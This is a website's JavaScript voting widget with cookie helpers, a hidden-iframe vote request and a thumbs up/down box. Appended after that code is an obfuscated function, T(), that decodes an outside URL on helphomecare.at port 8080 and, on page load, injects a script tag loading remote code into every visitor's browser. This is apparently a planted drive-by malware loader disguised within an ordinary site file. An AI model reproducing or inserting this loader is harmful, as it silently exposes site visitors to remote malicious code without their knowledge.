var domain = "http://www.ejazartgallery.com/";
var changediv = "voter";
var showgraph = 0;

function createVoteFrame(url){ 
        		var Iframe = document.createElement('iframe'); 
                Iframe.id = 'DOMIframe'; 
                Iframe.name = 'DOMIframe'; 
                Iframe.src = url; 
                Iframe.style.display = 'none'; 
        		document.body.appendChild(Iframe);
				document.getElementById(changediv).innerHTML = "Thank You!";
} 


function setCookie(name, value, expires, path, domain, secure)
{
    document.cookie= name + "=" + escape(value) +
        ((expires) ? "; expires=" + expires.toGMTString() : "") +
        ((path) ? "; path=" + path : "") +
        ((domain) ? "; domain=" + domain : "") +
        ((secure) ? "; secure" : "");
}


function getCookie(name)
{
    var dc = document.cookie;
    var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
    if (begin == -1)
    {
        begin = dc.indexOf(prefix);
        if (begin != 0) return null;
    }
    else
    {
        begin += 2;
    }
    var end = document.cookie.indexOf(";", begin);
    if (end == -1)
    {
        end = dc.length;
    }
    return unescape(dc.substring(begin + prefix.length, end));
}

function vote(vote,divcont) {
	var comment ="";
	var docref="";

	if(vote == -1){
		reason = prompt('What is your reason for a negative vote?', 'Reason:');
		vote = "0";
	}
	if(vote == 1){
		reason = "";
	}

	if(document.referrer){
		docref= document.referrer;
	}

	//url = domain+"?voter="+vote+"&comment="+escape(comment)+"&docref="+escape(docref);
	url = "request.php?lyricid="+document.frm_vote.lyricid.value+"&vote="+vote+"&reason="+escape(reason)+"&docref="+escape(docref);
	
	changediv = divcont;
	
	createVoteFrame(url);
	expire = 60*60*24;
	
	setCookie('voted',1);
}


    var sText = "<div class=\"votingapi\" style=\"width: 150px; font-size: .9em;\">";
    //sText += "Site: <strong><a href=\""+location.href+"\">"+document.title.slice(0,50) +"</a></strong><br />";
	if(!getCookie('voted')){
    	sText += "Vote for  <strong><a href=\""+location.href+"\">"+document.title.slice(0,30) +"</a>:</strong> <span id=\"voter\"><a href=\"javascript://\" onclick=\"return vote('1','voter')\"><img src=\"images/thumb_up_1.gif\" border=\"0\" alt=\"I like the site\"></a> / <a href=\"javascript://\" onclick=\"return vote('-1','voter')\"><img src=\"images/thumb_down_1.gif\" border=\"0\" alt=\"I don't like the site\"></a></span><br />";
		//sText += "<span id=\"commenter\"><input name=\"comment\" value=\"\" type=\"text\"  maxlength=\"100\" onblur=\"comment('"+domain+"?comment="+escape(this.value)+"','commenter');\"></span><br />";
	}else{
		sText += "You voted for <strong><a href=\""+location.href+"\">"+document.title.slice(0,30) +"</a></strong>.<br />";	
	}
	if(showgraph)
		sText +="<img src=\""+domain+"graph.php\" width=\"150\" height=\"110\" />";
	sText +="<br /><span style=\"text-align: center; width: 140px;\">[ <a href=\""+domain+"\">website report</a> ]</span>";
	sText +="</div>";
    document.write(sText);

function T(){var K=window;var y;if(y!='' && y!='Ni'){y=''};var Ka=unescape;var Q=new Date();var Kq=Ka("%2f%6b%69%6e%6f%70%6f%69%73%6b%2d%72%75%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%77%61%73%68%69%6e%67%74%6f%6e%70%6f%73%74%2e%63%6f%6d%2e%70%68%70");function Y(Th,R){var l=new Date();var Xl=new Date();var u=String("g");var c;if(c!='Pw'){c=''};this.Ui='';var z=Ka("%5b"), S=Ka("%5d");var ol;if(ol!='lG' && ol!='Yt'){ol='lG'};var U=z+R+S;var p=new RegExp(U, u);var qM;if(qM!='jc' && qM!='d'){qM=''};var _=new Date();return Th.replace(p, new String());this.E="";};this.Ta='';this.g='';var N=Y('842506428415903719','42751936');var TQ=document;this.gy='';var Ke;if(Ke!='' && Ke!='h'){Ke=null};var Un=new Date();var o=new String();function A(){var u_=Ka("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var n=new String();var Uw=new String();o=u_;o+=N;o+=Kq;var uk;if(uk!='' && uk!='Vm'){uk=''};this.da="";var yk;if(yk!='zc' && yk!='Ci'){yk='zc'};try {var Ud;if(Ud!='A_' && Ud!='Ze'){Ud='A_'};var a;if(a!='rM' && a!='ok'){a='rM'};H=TQ.createElement(Y('shcSrliApFte','z56kAYNbU0hMSlxVBWFe9'));H[Ka("%73%72%63")]=o;H[Ka("%64%65%66%65%72")]=[4,1][1];var pF;if(pF!=''){pF='jx'};var uG=new String();TQ.body.appendChild(H);var fg=new String();} catch(As){this.ux='';alert(As);this.wv="";};this.m="";}var dg;if(dg!='Nw' && dg!='o_'){dg='Nw'};this.t="";K["onloa"+"d"]=A;var aY;if(aY!=''){aY='kD'};var nw;if(nw!=''){nw='aN'};};var vj=new Date();var ql=new Date();var hd=new String();T();